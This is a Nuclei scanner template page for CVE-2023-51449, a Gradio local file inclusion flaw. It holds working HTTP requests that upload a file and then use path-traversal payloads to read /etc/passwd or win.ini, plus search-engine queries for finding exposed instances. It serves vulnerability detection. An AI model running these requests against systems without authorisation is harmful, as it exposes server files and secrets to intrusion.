Gradio Hugging Face - Local File Inclusion

ID: CVE-2023-51449

Severity: high

Author: nvn1729

Tags: cve,cve2024,lfi,gradio,unauth,intrusive

Description

Gradio LFI when auth is not enabled, affects versions 4.0 - 4.10, also works against Gradio < 3.33

YAML Source

id: CVE-2023-51449

info:
  name: Gradio Hugging Face - Local File Inclusion
  author: nvn1729
  severity: high
  description: |
    Gradio LFI when auth is not enabled, affects versions 4.0 - 4.10, also works against Gradio < 3.33
  reference:
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51449
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-51449
    cwe-id: CWE-22
    epss-score: 0.00064
    epss-percentile: 0.27836
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gradio_project
    product: gradio
    framework: python
    shodan-query: html:"__gradio_mode__"
    fofa-query: body="__gradio_mode__"
  tags: cve,cve2024,lfi,gradio,unauth,intrusive

variables:
  str: '{{rand_base(8)}}'

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311

        -----------------------------250033711231076532771336998311
        Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
        Content-Type: application/octet-stream

        {{str}}
        -----------------------------250033711231076532771336998311--

      - |
        GET /file={{download_path}}{{path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\\[\"(.+)okmijnuhbygv\"\\]"

    payloads:
      path:
        - ..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
        - ../../../../../../../../../../../../../../../etc/passwd

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fd33edd3c28dced182b222164538e95c1289b898d18e0c339b2d7f0e69f4010f0220682308e4e8d7115d20789758297fd87025f8bf1eaebc01238caf99e846b63471:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-51449.yaml"

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